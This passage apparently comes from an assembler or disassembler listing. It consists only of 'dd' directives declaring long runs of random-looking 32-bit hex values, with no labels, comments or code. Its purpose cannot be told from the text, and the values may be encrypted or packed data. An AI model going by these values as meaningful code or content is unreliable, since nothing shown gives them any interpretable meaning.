0D197F44Ch, 0CD5F17C6h, 6FF10372h dd 0FC682709h, 0FC9D8B4Dh, 0E0022731h, 0AAF65D59h, 0E942CBC4h dd 9C5FF406h, 113995E0h, 7044FA7Fh, 800A590Ch, 0E89B0C15h dd 76304842h, 806B841h, 8914810Ch, 0EEDA047Eh, 0DF244958h dd 94F7001Bh, 580BAC6Ch, 0B19117FEh, 6602B021h, 0BF65B02Fh dd 21252376h, 555A09F5h, 3AE9E1B0h, 72ABAA54h, 0F8363807h dd 4A77B1E8h, 0BE789D71h, 0F142FBEBh, 0EEEB6AD1h, 843F3F06h dd 1AE014BBh, 2C5C16E8h, 30FCE912h, 13392DCCh, 0AD4D0761h dd 8FF30223h, 5523187Dh, 0C2954B14h, 2BA0030h, 0B56EB34Dh dd 7D232760h, 0FB27419Ah, 859FD45Fh, 81E12673h, 5B49B25h dd 2D5920EBh, 26608675h, 0BAA88E0Ch, 0FA092D69h, 56F202C0h dd 0A0365B26h, 12B59588h, 13C1229h, 113CEDB0h, 7C69F961h dd 0BF680B29h, 52B2D61Eh, 10D6E57h, 35CB156Eh, 0AF6AED81h dd 0E9F5400Dh, 0EC1A4E8Dh, 0FCAFF17Bh, 0A94F6D22h, 3295EFAh dd 6D585666h, 0E45E440Bh, 0C1F73507h, 54298513h, 0FBB8292h dd 27E8540Bh, 0E941F67Bh, 0DB68744Bh, 7D895089h, 8C74D929h dd 653C2582h, 0A1380254h, 496C760Bh, 1DA08422h, 5EF390A1h dd 8BD2E45Ah, 7E0445B3h, 7184EB3Ah, 977F5E4h, 6C0155BCh dd 0CA00DD1h, 7B45D59h, 7C087FF7h, 0DCEEFBC2h, 6076A59Fh dd 853EADA4h, 74A76807h, 0BD5231AEh, 4DB900EFh, 2F822671h dd 95D01AE0h, 0C620D07Ah, 33BE09D6h, 1F83A36Dh, 0E0A160EEh dd 0E4F6D86Fh, 48492Fh, 8F46EDCBh, 0BCE97040h, 17E5EB4Dh dd 2B63E909h, 2FD6F620h, 60A7B9F3h, 96D5E992h, 5C481C4Fh dd 820DC040h, 5208678h, 63B6350Bh, 0BF29A8h, 0A53734ABh dd 65ABB918h, 65AB21h, 7184B6F5h, 0EBA5CFE9h, 28E6CC41h dd 0A13E6086h, 74F52BA8h, 317098D8h, 33241B91h, 6A71216Eh dd 3AE4FD91h, 903AE831h, 2EECE6E5h, 94207B28h, 4D13ED06h dd 27522123h, 0F903DFE9h, 76BAEF30h, 4828CF76h, 0E390A391h dd 0CC7E0951h, 500251D0h, 591EA1B8h, 0C69EE162h, 4C408015h dd 6CBD0824h, 0C5A15E34h, 4A07FA4Dh, 3FA459EFh, 942F96D9h dd 0B02CF85Ah, 9C541D68h, 3BF74927h, 8C97A5CEh, 7B72B553h dd 0A4D302B3h, 0CF894374h, 0A9EFB140h, 7C305A14h, 0F10524A7h dd 0BD045203h, 3CFF83Bh, 48EE020Eh, 1756E947h, 9B8A874h dd 57539618h, 0FA467D0Bh, 5BDA2912h, 62EFB513h, 0ADD9BA6Ah dd 7F0BD12Ch, 0C9DE74B4h, 0FEAE1584h, 0BAF52C28h, 5F592F60h dd 0F6D253C3h, 38169EA9h, 210AC9A4h, 8485D3Eh, 93738C00h dd 0C097E977h, 1A52BA2Dh, 4A4C406Eh, 753306B1h, 40C2E2Ch dd 50B837Ah, 1BA8509h, 0EE743572h, 0D9A52EC7h, 9330C961h dd 0CBDAC109h, 6BB620E9h, 9C7AD069h, 9E40F483h, 130092Dh dd 95B03771h, 4DBC9AE9h, 288CF127h, 8A205448h, 367141CBh dd 0F9EE2AF0h, 59FF0BB5h, 0F088B708h, 0E921512Dh, 5B2404Ah dd 0A47C740Eh, 3409294Bh, 0E8C13122h, 0CCF2D669h, 5906C10h dd 0B2714009h, 0AAB2014Ah, 0A1205E19h, 6CB609C6h, 8A5C7257h dd 81F87BDh, 201C4E62h, 63C409EBh, 0B10A0968h, 33900630h dd 0E9ED3E98h, 3139303Dh, 1601F858h, 2293DF59h, 840BE955h dd 0D112B82Dh, 0CA29F0EAh, 0DE54A814h, 0AFF205EFh, 1AFEB2Dh dd 155B0F56h, 0C3447BCDh, 0CCFBA8B6h, 7741C607h, 1793DE82h dd 0B574D63h, 0FB4602FBh, 9500D9C5h, 726FB318h, 13124EE3h dd 517C942Dh, 3BD381F2h, 0F95670D2h, 0E3F2CA82h, 6677F582h dd 2032BD5Ch, 0DEB9704Ah, 2FF77658h, 20CA72D3h, 0A98870D4h dd 7E3E7BAAh, 0A9791B18h, 61D9B0A1h, 0A3065848h, 2F94E24Fh dd 0C15E02AFh, 1265E8E3h, 0B292593h, 50567C58h, 254D583Eh dd 0CF067682h, 4FE09C49h, 5A4B0A01h, 9685E0FCh, 0E7864179h dd 7C751568h, 1231C0BEh, 34452638h, 0D006D5F7h, 0C7EDD2CEh dd 6CF1D94Fh, 0F3F4712Ch, 5AB3586Dh, 6F40A3CDh, 49F0576Fh dd 981EDF0Bh, 0B8131314h, 0B0E90B32h, 62C35E1Dh, 0DBE632BBh dd 17B95997h, 0BFD284CAh, 7C63662Eh, 0CC840168h, 0FB9F5DD3h dd 8711B44Ch, 0B0DFC972h, 80336CA4h, 95E0D3h, 316DAC49h dd 55B90047h, 0E9B8CE92h, 38C0C075h, 3A412D40h, 135E6D4h dd 0EBE545BDh, 5958C701h, 0A18D2C95h, 1F7BFE88h, 0F1553B19h dd 90A8841h, 9827D23Bh, 3EB7F4A7h, 0F0E4F90Fh, 0B79599h dd 0A1DEC2B3h, 0D1FAB7AEh, 0E5C83CEDh, 4A43208h, 0EE7F9868h dd 1C66AE9Dh, 33796806h, 65C78CDAh, 9BF234EAh, 8C868053h dd 4C67A95Ch, 0E9134731h, 0B6FD40ABh, 5EC680C1h, 0EEEAFEE0h dd 0E473FCEBh, 0CF051EC0h, 0B55CBD2Eh, 783A158h, 8C1D91AFh dd 17904B64h, 59F886E9h, 304FE65Bh, 7E188858h, 31262D4Ah dd 5243196Ah, 0BD012E72h, 15356B80h, 0B8082B8h, 3836F62Dh dd 0E828295Bh, 5D5C0705h, 0FC854FBAh, 783F6C89h, 0DB2FE950h dd 0EA6C89Ch, 64A52F47h, 3A046740h, 0D46F0728h, 905FEA40h dd 7EFA0F55h, 278BB303h, 6EBB5BC8h, 0AC814382h, 0F959FFE3h dd 0CBBF5710h, 0FB092BD6h, 0AD8D16A4h, 0AE208410h, 0B8C65C0Fh dd 9E313D27h, 2C3C70Fh, 66BC616Eh, 35F26901h, 0D8808972h dd 75627480h, 0B1DF4B7Bh, 0C81683B7h, 0B77F9924h, 3945E890h dd 0B9513FD0h, 2E9A1F8Bh, 1D31B8Ah, 636B5269h, 0D10C6E29h dd 17EB7CFBh, 2D7AB861h, 0B4812E09h, 5A02DE0Fh, 3B8A4376h dd 778BEABCh, 35216E28h dd 0EFEFF404h, 8F2A213Dh, 5EB54241h, 9801B313h, 5E961F15h dd 0BD9EC13Eh, 640205E7h, 84F028EAh, 0CDBFD9A3h, 1023260Eh dd 0AC4BF0D2h, 5C9A5040h, 336A36CFh, 80102A1h, 5DA838E9h dd 0A081942Ah, 2BF945BEh, 8212FEA6h, 55DB30Bh, 6DB65174h dd 534001D0h, 85FE35E9h, 1753EC7Fh, 0A8644481h, 965C7BC1h dd 59EA6181h, 0ECDDC48Fh, 46A0C3B7h, 1099F08h, 0B9EB8940h dd 0EAE6E99Bh, 0F036F79Ch, 0D8BAE924h, 0BF086BA6h, 423128EEh dd 6D411031h, 16EB6809h, 0F409B2D7h, 0A0016483h, 0DCBE94F6h dd 79C1FE27h, 0E15C0287h, 993102DDh, 357B91CDh, 0A370AFFCh dd 606DE9D9h, 64C6F7A0h, 0A098E411h, 0F315432Dh, 528897D4h dd 0A20FACDEh, 0E44CD8E9h, 780B0BBAh, 7300142Fh, 0D47033CAh dd 0D0427F38h, 5714F896h, 1BD63E2h, 0F737CB8Dh, 0C6C07E9h dd 0E2B70F4Ch, 315F10B5h, 84049984h, 30DEBE4Bh, 7DE95C05h dd 92DAEC9Dh, 0F87F98BCh, 0D59B5B15h, 0CD4182B2h, 0F97BE6DCh dd 2D94EA06h, 3E2FE7D5h, 0B772262h, 426E5413h, 0A6D92CCBh dd 0EE5935A8h, 1A680C60h, 4116D314h, 0F2C32F29h, 4843890Dh dd 977CD0F1h, 7A25BE02h, 68FE4204h, 71872D01h, 0B20484Ch dd 995A1894h, 4E543A37h, 68267661h, 66763A4Ch, 0E4610F41h dd 8083ED30h, 3906AFBAh, 0D3BF175Bh, 3F68B00Bh, 3524431Fh dd 0B08E14C9h, 0E90283E2h, 0EC19520Dh, 0C6B65E0h, 213BD958h dd 0F900FF1Ah, 0D7B5515Ah, 6480EDD0h, 925862CDh, 2D525B2Eh dd 61EDC150h, 51289E40h, 5F3FACDAh, 0A8554B2Ch, 5C702BF4h dd 68C80B0Fh, 0C25976F4h, 299B9399h, 0C60EE328h, 0AFDF0CD8h dd 0EE507C58h, 0F19F5F08h, 3B5560AEh, 0F5FC19E2h, 0EE065750h dd 6045A70Ch, 58D75230h, 37585C25h, 5B16D36Ch, 67ED0916h dd 8FEED0C2h, 2F3C9208h, 46C595C8h, 37716805h, 697DFF99h dd 6100502h, 1CC55580h, 9F13E99Fh, 2A096C20h, 0E4355B8Dh dd 0D72C1E5Ch, 34094A89h, 8740290Dh, 0A9945048h, 0C9806990h dd 4BC1E69Ah, 80EFF801h, 0D668515Ch, 0EF18BF5Bh, 5E82AA1Ah dd 0D8382FD4h, 0F74AF3E9h, 9A89C3A9h, 18B53AD8h, 12380534h dd 0FC7EE83Bh, 680740D3h, 0C639B62Dh, 0E1B870E9h, 7B58C311h dd 48338A80h, 3BF20404h, 0C8E15FE9h, 854A9CB9h, 8D13E3B3h dd 1D96FDDDh, 5324310Bh, 0F299E30Bh, 48D00F0Eh, 8F6B2F3Ah dd 0C0BE9927h, 31229B63h, 0C25EF52Fh, 12B6E53Ah, 1530BF5Ch dd 62F1FBBh, 0F38170DEh, 9AB60D1Bh, 0AB020F2Ch, 0D45A8D18h dd 22742716h, 73AA0207h, 59CF01E1h, 8861B62Bh, 81E26D3h dd 0C3256A23h, 5ECA8227h, 0B9A53E31h, 69562542h, 0DA7F5CE0h dd 0A95F4A47h, 5EEB250Fh, 0FAFA0D8h, 74C5524Bh, 0B9562EF0h dd 0C787500h, 1FEDBE55h, 0C99D10B8h, 4DD5FFEh, 78D7AA86h dd 3772EBA7h, 628974B3h, 0A60FEED8h, 9F0A69CDh, 0A6F1FDE0h dd 25D306D0h, 7D8CC235h, 897D313Ah, 9D74960Ch, 0E99C2371h dd 0C2A70D6Ch, 5A704AEh, 329391C0h, 0D1653020h, 8B3CE3Eh dd 4AC0A97Dh, 41A52AADh, 836727E9h, 3F68DEB8h, 2F5F7865h dd 0FAE01195h, 16FA004Bh, 1D58CB81h, 0C09D52E0h, 30568D8Eh dd 60C6236h, 15038747h, 5E9D3F7h, 0B3410099h, 3EBC00Bh dd 4006E380h, 0C3FEDBF6h, 0FA337A0Eh, 0A198A12Ah, 9CAD2803h dd 0EE5EED81h, 17950737h, 54F6DA89h, 3BA7A40Eh, 197E02ADh dd 7230F5D2h, 53B56902h, 14D28807h, 1368F388h, 0DC3DEA31h dd 188DA72Eh, 0B932E651h, 60A71683h, 0C63387E2h, 0EA09AD82h dd 0F8301713h, 0AF6E527Ah, 0D606BE07h, 1FC4401Ah, 2950AA6h dd 5EB27938h, 68024B7Fh, 5A07C6DFh, 94C8E6F2h, 0FB629FE0h dd 24A5AC6h, 87E0D6B5h, 49909061h, 0B31D3A1Dh, 0FCC6C916h dd 5B4E907Ah, 6DF76985h, 97005C89h, 0E3060A8Bh, 0E71B6197h dd 0F35FFA6Ch, 0CCE9C2FAh, 877D7C9Ah, 0A2D802EBh, 0FD648DE4h dd 68401309h, 0F28B0F15h, 5AE8F484h, 0EE12B00Eh, 2E440C58h dd 0C805DF2h, 74232554h, 2D90F178h, 843F7D04h, 94FB2952h dd 5B15E09Eh, 4F012D05h, 10FE7EBAh, 575F0764h, 104FF871h dd 8A4BB16Bh, 0F3EC5A5Fh, 367E6C5h, 0F6DC15Bh, 93E14092h dd 0E48014EBh, 6B1C0295h, 51623018h, 5C5AEE7Ch, 0B97C49EDh dd 8102F822h, 465FBEE1h, 0F98F6818h, 0E9440940h, 0D8906BA8h dd 0FE007BD6h, 0B7ED8169h, 95344438h, 50B0E158h, 8D1725Ah dd 0F154B40Fh, 25D19203h, 4941B16Ch, 0E10C5C87h, 0CE89427Ch dd 0B1018876h, 313AD0ABh, 9225BB28h, 0F4B05D41h, 3BE1D3B6h dd 0BE99CF04h, 6D738DEFh, 5A51041Bh, 0F3F148AEh, 3252216Bh dd 75253AF6h, 615F77A8h, 2FEC050h, 0A505DFF6h, 0E7874097h dd 302C23F2h, 56197ABCh, 0EE0691E2h, 0C9A4C0F0h, 0F10F902h dd 40C5890Ah, 128CF5D1h, 0E2237E61h, 1D20048Eh, 3652FFADh dd 0F19D9B18h, 0B428E46Dh, 0F863255Ch, 4A66E0D5h, 0E946680Ah dd 0EF12CE50h, 0B6637B0Bh, 818D767Fh, 56471FC7h, 8E876EE4h dd 40FB0F74h, 0E780B697h, 0F6EE664Eh, 76DD545Ch, 96E95B0Ah dd 0A09F9907h, 681698E7h, 0DC784A61h, 0E202BD76h, 0E9733015h dd 29FB69B8h, 5427096Eh, 793D2686h, 4B69BB01h, 0EBC115B8h dd 1283087Bh, 0FC6D5816h, 0B712E50Bh, 859BADB9h, 4C533F32h dd 0B8F265FAh, 93EDD64Ch, 0AE44945Eh, 33B6EF13h, 80C6058Ah dd 3003F780h, 0C0175BF9h, 0E30B02E1h, 0EE2F0731h, 0F00E550Bh dd 856A59A9h, 6815D2D8h, 0D3993E78h, 744600BFh, 0E946D92Ch dd 0F100CA4Fh, 784C94BBh, 0E3C1184Ah, 68020604h, 86B37C5Bh dd 0B42E4F51h, 0C4955C54h, 65CA2752h, 450D1068h, 7295D790h dd 0A96EBFF9h, 40CB08E2h, 0A047C4BFh, 95A51510h, 6B3E259h dd 3FAEF03Ch, 40472D8Fh, 7D05CC0Eh, 74ED0A55h, 885C829Ch dd 2040871Ch, 0E59D6585h, 0A5ED0104h, 213C9323h, 6DA52F67h dd 34BD0C82h, 98423B2Ah, 65A08D0Eh, 61E9798Ch, 9907B541h dd 0D9F06F74h, 58E13830h, 0B044FC4Ah, 2CE9502Ch, 967FC7F9h dd 0C8EFB254h, 0A2584CC3h, 4B58A956h, 8C38D1A6h, 537758C0h dd 9CCA092Ch, 0B959E56Fh, 845027BAh, 0DB8DEF31h, 9515D060h dd 0D925AD51h, 0DF740FCh, 0E9131214h, 0F253BBCBh, 76FE480h dd 37254A6Bh, 8BD0E0CFh, 0EC9D5808h, 7A1D2021h, 0C1916397h dd 0D7806BF2h, 68F585C7h, 0ABBE016Ch, 1DBA270Ch, 307809C3h dd 285562F7h, 74300882h, 4A614D60h, 1E5A1A02h, 40D76ADDh dd 25E9300Ch, 498FDAAh, 0D882C9B7h, 40C298F0h, 0F69852D0h dd 5B15A20h, 882BEF80h, 0EDCF2DFAh, 0AFCE98D7h, 1DC6E1A3h dd 86638371h, 0F846D4F1h, 37578AB7h, 100D2E09h, 2449EC31h dd 5225DAh, 209285B4h, 7CB27EE9h, 0D95B5825h, 94D5E90Dh dd 88FABCD8h, 8909F528h, 12C953D5h, 0A12DFF11h, 55E9320Ch dd 216B89FDh, 2FF36E19h, 622EF88Ah, 8D549657h, 3188400Ah dd 780DC816h, 560AADE9h, 0A3DD5C21h, 975B1724h, 8416D153h dd 0C11331BCh, 27219A63h, 0C4495C59h, 4FE85302h, 0ACE2B324h dd 0C2B6C050h, 567EEC0h, 0E6640806h, 878E3581h, 24C0AC04h dd 69023947h, 771A7AD8h, 0CAC10DE4h, 1BFB0AE5h, 754CDD6Ch dd 39264506h, 0B33012F7h, 18BD2AD4h, 72283D53h, 0DB8B5B2Fh dd 3E2F2F70h, 0A85AD1DFh, 8DC7BDA1h, 5018D427h, 88034EB4h dd 0E83058E5h, 56370159h, 0FC7FDABEh, 2A463032h, 0CD038016h dd 64AC0AC4h, 0BE8E9C6h dd 9876709Dh, 0C6681296h, 0B5E6312Fh, 0B8802F3Ah, 70C58036h dd 75DD7526h, 8C30DEEDh, 94067DCDh, 2DE2F2B4h, 41BB5D02h dd 14B0BB05h, 53FFE2E9h, 0E4B9B19Ah, 179A7749h, 9AC4E6FFh dd 0C0C31FACh, 0F0E41A85h, 970D6B2Dh, 0B5315E70h, 5AD7B708h dd 0F03E3A39h, 0A2D1E6A4h, 0D5C79DAAh, 16DF5BA7h, 8FC1C956h dd 1FCD0726h, 6BADDB7Fh, 97ED021Dh, 0F82E0B0Fh, 8C5A975Dh dd 682CF770h, 66E1574Ah, 2D48654Fh, 0A7CBBA12h, 9A354FDBh dd 0C90782BEh, 2974BEF8h, 7414BB8h, 0DE5BDFDCh, 8583D2D5h dd 7B8FE313h, 0E602E52Fh, 876A190h, 51F1B471h, 0B91CC06Fh dd 6018B67h, 3C1FA5BAh, 62F3134h, 64EF27Eh, 3D146813h dd 0E9C246ECh, 64DCE0FCh, 17F2B395h, 0DDD17468h, 202ABEE2h dd 9E7CAC2h, 2D213Bh, 0A9D4FEF2h, 9A17E9F3h, 22524AC3h dd 97361437h, 0EFCAFE2h, 42E7D149h, 4D056223h, 87FC01AAh dd 0F4D6F7F5h, 68BD1B02h, 2F6439C6h, 67D0352Dh, 9134045Dh dd 6C5A00D3h, 79E96240h, 35AEBF61h, 0EF7790E4h, 0C54ED48Eh dd 0CABA36h, 81B3F24Fh, 7F6F685Ch, 0C05A8F73h, 0BE3961F1h dd 7E97709h, 9732D212h, 0F84944F9h, 2C7195C7h, 7DA19D64h dd 0FFF92292h, 0FB705A27h, 4883435Fh, 6712BCC3h, 78FEE296h dd 5E39DC64h, 80FEE880h, 4709147Ah, 5610F01Ch, 0C3542C90h dd 0F9613D09h, 9509A8C0h, 551CF1FAh, 40B20BDh, 9511F0CFh dd 0C6B00646h, 685CA1BDh, 0E32B27CAh, 2CEDD336h, 0E9D23181h dd 17F338C2h, 0E204D329h, 0E0D176C0h, 0C52007E2h, 5F66EA0Eh dd 7B3BA4C3h, 30402912h, 0C0391CEFh, 0E92DD460h, 729E9B44h dd 8144AC53h, 105C0960h, 0B99B1BAEh, 3F824CB5h, 5083CA40h dd 4DF5ABEAh, 0B093F4CBh, 0C0BD538Fh, 97A3723Dh, 0FBD5E298h dd 0C39C3F83h, 0C822FE9Eh, 2C0E8532h, 0AB53E6F2h, 4B36F80Eh dd 6DD7CD60h, 0E70502FEh, 70087069h, 5F0781B1h, 0F718FAF6h dd 14C953Eh, 0CA323D4Fh, 0D4B6B037h, 2E273EE2h, 405C0Ah dd 6EDC362Bh, 942AE947h, 7A96D105h, 2CF46108h, 5FED89A2h dd 5A2547FBh, 9A65FC97h, 0F2D69E3Ch, 67A93DE8h, 8F68DD82h dd 10D26431h, 680B9DE7h, 80C43905h, 0BE3A5679h, 0A01E324Eh dd 8C0B57DBh, 3CBA82FBh, 59F85A4Fh, 0A56104D2h, 0C80B1C63h dd 4654466h, 0E9762C02h, 5F5FA84Bh, 7633212Dh, 6184C050h dd 78EB0A5Ah, 0CC71764h, 9FDD4FBh, 21A0B0C5h, 0F8895DEFh dd 47295F16h, 4D35CB2h, 67B024Bh, 0F423C729h, 0B7DD4E26h dd 0AB347BB1h, 2AAC5BBDh, 7F21E407h, 0AD34A448h, 68079AC0h dd 948FE92Eh, 0C78000BBh, 5BFA30F1h, 0E9A87EF6h, 9A956C01h dd 3CC4DD92h, 8AD96529h, 0E08A0849h, 71ADF6A7h, 0FCE84568h dd 0C701B02Dh, 57C85EE9h, 39768DB7h, 33EB0255h, 625C9113h dd 8B70828h, 0BC18E906h, 5F6768Fh, 891C096Dh, 0AC9983F5h dd 0A4C61B2Fh, 38885DCEh, 0D0E140F4h, 0B8B46BEDh, 0CB282516h dd 0B43808F0h, 8BE3276Dh, 89DA5320h, 0DAF1F1E2h, 6ED7C3E0h dd 0E9170B72h, 3748E0C7h, 0FD829A13h, 76CB598Fh, 2D4E2278h dd 977524FDh, 6582E04Ah, 5D048217h, 1673E9B3h, 125155DDh dd 0F4EEE561h, 9227E9F1h, 55799878h, 322F2D68h, 51269B65h dd 6CDAE9E1h, 0BAFADE53h, 4BFA5809h, 278D465Eh, 0CD4A2176h dd 8180A1FCh, 366BB9E1h, 5AF2454Ah, 3D165DC3h, 0D0F748A8h dd 9ACAC3B7h, 657C60E0h, 44AEB6B7h, 9EEA9A8h, 5163C280h dd 0CAFE8703h, 0BEF6C4E9h, 8C64FFCAh, 46BA00FCh, 4B2BA755h dd 0A0767329h, 24C227E5h, 0DD68006Bh, 6034795Dh, 26359E58h dd 0CB1E86A2h, 5EADC189h, 0E9514050h, 0DB9B7729h, 285D7208h dd 780B093Ah, 0FD8843CBh, 0C38086F6h, 5B76CE44h, 257EF23Bh dd 20BD0FD3h, 0C00DB252h, 0A0034AE2h, 0FA9F2F83h, 8E719721h dd 38B37363h, 0E51C5BFBh, 0B8E81658h, 68BE80B3h, 97053A52h dd 0E901EF0h, 0F11C6A09h, 0E2A87D15h, 34AE2808h, 3C27A2Dh dd 3E2507C8h, 0D70FF98h, 2E281500h, 785D3503h, 0A1065ED5h dd 3E32FDE1h, 0DA83257h, 238B21B4h, 15CA7A0Ah, 0CD279E58h dd 0ADCA3A92h, 2DAC147Eh, 0DEAE108h, 0E470895Fh, 0BA970A7Dh dd 9AD4DE31h, 0BADA5D0Ch, 468C6A1h, 27A1480h, 0BD794BA1h dd 36480419h, 56804D1Fh, 0E3091724h, 27289230h, 315C4671h dd 0F1C1051Fh, 78537E43h, 5D96813Eh, 38812E4Bh, 81F8A963h dd 245102E6h, 0DEF70B05h, 3B7DEAC1h, 0E0D651F3h, 4B7488FCh dd 41193ADFh, 0DE5CE0Ah, 0C407EE01h, 0A6622CE9h, 85E5B544h dd 67C8AD95h, 95BAFE08h, 5C399423h, 0C0C6E503h, 51E3058h dd 0CC54850Ch, 0C2FBEC32h, 0D17F2268h, 1E926DCh, 5B5379F0h dd 58236D31h, 94FC17E3h, 6E8C9A94h, 0B66F4B4Eh, 54257A8Ah dd 2E1618DAh, 2E6681CCh, 0F676E300h, 72CDFED5h, 67B6080h dd 146BE92Ch, 234EE897h, 754B176Dh, 601B0181h, 6B316C2Ch dd 0B05E218Bh, 3773E9F9h, 6248699Fh, 96050D81h, 3C6F3297h dd 31814AEDh, 405B950h, 1FE8EEF2h, 423F6A5h, 0BADF35F7h dd 0B9836BC5h, 0E2CB3BAEh, 0A35BA6BCh, 71472D71h, 4E92A8F7h dd 0AFE5B012h, 55247E43h, 955DC04Eh, 0D273F792h, 0C2A66EEBh dd 604B1CD3h, 3D372C2Ch, 20CF8327h, 89E7F1C8h, 0BE35F181h dd 0EC223943h, 87B4A37Bh, 0E13CD882h, 83E055DCh, 408A9C3Eh dd 81D19053h, 90456BBFh, 9E04FD29h, 5A0F9502h, 541E79C1h dd 52E32B23h, 7E79B983h, 0F92946D0h, 0A885F5Eh, 74053A10h dd 0D1116113h, 108B06C2h, 30489CC2h, 0E80C522Eh, 0AD5C3095h dd 35F50411h, 0D4BF75F0h, 5A080B74h, 0B9E9F530h, 0B2A2D65Ah dd 8EE9947Fh, 0C78492F2h, 21648747h, 3C319572h, 0DFF70ED8h dd 3F99A181h, 5DFE4C04h, 555F2980h, 0BA5B8CE9h, 76F7FB7h dd 1AB811C6h, 53A440BDh, 0FD5B5A59h, 70987644h, 166FEA38h dd 36276C91h, 0DD4BA949h, 30B810Fh, 41ED1BD0h, 10E81D86h dd 2769AECFh, 72DA5685h, 1CE57027h, 7FD4C218h, 5C0C93Dh dd 45C06419h, 874F11E5h, 72A2A04Ah, 8303B8A0h, 0E9450BA2h dd 0C2F48DDCh, 0C1D389E2h, 373F0DE7h, 1DF925Dh, 0D40EBA5Dh dd 0EDE94197h, 6BF76F83h, 289F497Bh, 0E40C844Ah, 0F2FA5BC1h dd 0B91A5960h, 4EE460A3h, 984EC02h, 0DF06135Eh, 9308B587h dd 67E897C9h, 752EE91Dh, 75497FF5h, 0D09F5480h, 312F93A2h dd 5D86E0DDh, 0E9400948h, 92278E4Ch, 718572F8h, 0B602E49Ah dd 82099E4Bh, 6C77532Fh, 3D1C604Dh, 0CD44F5BBh, 4496F48h dd 5E90325Fh, 8CB50BEh, 6D445B25h, 0FED8E89Ch, 0AF58B4B1h dd 57AEB9E9h, 0C4CFA4B4h, 0B094EB34h, 226BD3B9h, 0C420E124h dd 1AFDC355h, 0ACA0CFDAh, 0BB7D13B8h, 0C6054D00h, 0D4FCC0Eh dd 0B3072ABh, 86E9481Ah, 0B9BD51C0h, 1D3B4705h, 5880E5C1h dd 262464F5h, 16933ACDh, 59DE2A7h, 41432F45h, 61C0BF01h dd 0C872EA5h, 0FF3934F7h, 0A05C180h, 45BC8042h, 5AEAF425h dd 39FF8157h, 7BAAE9h, 0FEE3B7E3h, 9CE480CFh, 0FD8FEDE7h dd 3D43FCEh, 8F88A2E2h, 71516804h, 3A589DBBh, 5A68A6D8h dd 0C2A5F41Dh, 3BED840h, 20BC4611h, 0F6E1F509h, 0A5A32A63h dd 0CC3AF841h, 8C40774Eh, 92209056h, 3D79B7B2h, 60E85264h dd 1773057Eh, 0ACFE8975h, 9FC20D0h, 0C12C5004h, 0EA1F7B54h dd 0C688F449h, 70057029h, 82314B20h, 647FEB0Ch, 84564A9Dh dd 359CBA43h, 91BB4A0Fh dd 69585377h, 8B83C9F8h, 5C844AD3h, 640449C8h, 5FC7BC9Dh dd 0CEF6E8A8h, 0D8748C0Bh, 0A2217D78h, 0DB6F97E2h, 127168C8h dd 1D60CC94h, 3A285123h, 4D17390Dh, 75950037h, 0E9426006h dd 0C5862934h, 0F2A737E8h, 575195D1h, 0DEB8844Fh, 42BC5690h dd 4D482D88h, 0C06993E4h, 59C64115h, 942B79FDh, 5D080365h dd 0AADC4E68h, 0CCFF5F34h, 1213F2D6h, 1A106E8h, 460173DDh dd 45B2704Eh, 0B05B4A24h, 8845AE18h, 9887766Ch, 95FBFA19h dd 41BD8FCEh, 1F33816Ch, 8007A648h, 694C1121h, 83350B06h dd 0C0B70F01h, 18EB6866h, 0B76D9270h, 0C39E9A46h, 0BDF89750h dd 86CBF064h, 62838050h, 1546A469h, 0EC9993E9h, 2202C612h dd 1444206Ch, 5B106B27h, 0DA018A43h, 98710B6h, 7933A568h dd 7EE9619Bh, 24DF329Dh, 253F8B57h, 0F49164DEh, 64111D68h dd 0CE8ED36h, 49917CFh, 0CE41B2A0h, 1A2A3140h, 757E4CABh dd 9208CB05h, 38B1F840h, 2293E46h, 542C8CF7h, 2581F650h dd 0D0211F02h, 6741BBC6h, 9562342h, 7C008E71h, 0BD7A9D1Fh dd 26602E3Dh, 0FC78087Dh, 0E4CBFE0Eh, 4EACC945h, 9740CCC9h dd 9EB0DF09h, 57D9C85Eh, 0C0B128C0h, 3B1BF59Ah, 41B80EE8h dd 0B00D2A3Bh, 1F1186Eh, 0E9B9131Eh, 0B8D0C0D5h, 2B3D5750h dd 0BD58166Bh, 0C65011B2h, 0E871449Bh, 58D584C4h, 0F5E58002h dd 83194357h, 5A0C3D08h, 44B7EFAh, 22E91EC5h, 218BD02h dd 240797C3h, 0FB206039h, 6EB3097Bh, 1E058F5Fh, 0F68F5642h dd 5AD31CD8h, 0CDA2DED3h, 2516625Ch, 0B17EBC12h, 282BD921h dd 0E90BC152h, 0FD2D680Ah, 55537F18h, 37251290h, 688810E0h dd 7466BFEDh, 862CE926h, 0C649E0AFh, 0AFBF1FCAh, 0D3805386h dd 15C0EEB7h, 0CC906240h, 0BF01560Fh, 0A8F68C2Dh, 0A10C5BB0h dd 27F37BDEh, 2B66F1D9h, 549439B0h, 7A54546Ch, 7BE6255Ah dd 60CF495Ch, 0F7422A30h, 50D3E4DBh, 0D256AC43h, 5EE4AC17h dd 92C0C2F0h, 0EE585842h, 52E6FA84h, 0DEF24853h, 0B8F6DF12h dd 0A7C7924Dh, 6A664850h, 0BD5F4B38h, 280492C8h, 5603A643h dd 40D979BEh, 2E3D7C6Eh, 96AD54B4h, 45514C75h, 88F36B25h dd 2BF8D197h, 5C72A30Ah, 4CC102A8h, 295C736Ch, 2261CD03h dd 0C56E0510h, 0AA0DCA5Ch, 181EF586h, 0E2F903FCh, 0D1BF1828h dd 0F1F6E189h, 0A0906AE9h, 4F6855BBh, 90BCBAh, 28E7567h dd 2E27A92Dh, 13C7ABD0h, 5529255h, 829F2175h, 62FA6441h dd 7D6A550Fh, 74E29882h, 0F41E32DAh, 1889CF28h, 201B528Dh dd 8E9F8146h, 5C8603Ch, 50907B96h, 82F0D61Dh, 5DEEDCC0h dd 2D6629Fh, 185EF97h, 6A2801B5h, 0D23208h, 0E506BD05h dd 5ABD5B0Fh, 67682672h, 5E7EA894h, 40FC4FB0h, 0E548C06h dd 4B0A507Ch, 0F728EE2Ch, 5AD73004h, 530034ECh, 1245CF6h dd 0F02AE95Bh, 0E62781BCh, 77034006h, 12235E90h, 2E55E192h dd 0BCD3F2F2h, 0ECF110D3h, 7D69234Ch, 560D0800h, 509DB462h dd 8AF7E625h, 0B6581C42h, 76CD7CC4h, 0C004B012h, 0D007E01Ch dd 304F8FAh, 0C7207134h, 0C0B0C3FCh, 0E1B803EFh, 0A3B15102h dd 0C58149E9h, 6FA43D8Ah, 0FEC09605h, 0EDDD7306h, 0E5BF0310h dd 8177AA13h, 9008ECE8h, 0A016958h, 0A691383Ch, 1D8DC008h dd 5EE68C52h, 7B0FC6DDh, 7A12E243h, 901F08Dh, 8D0ECBBFh dd 4712A754h, 5A7C0B0h, 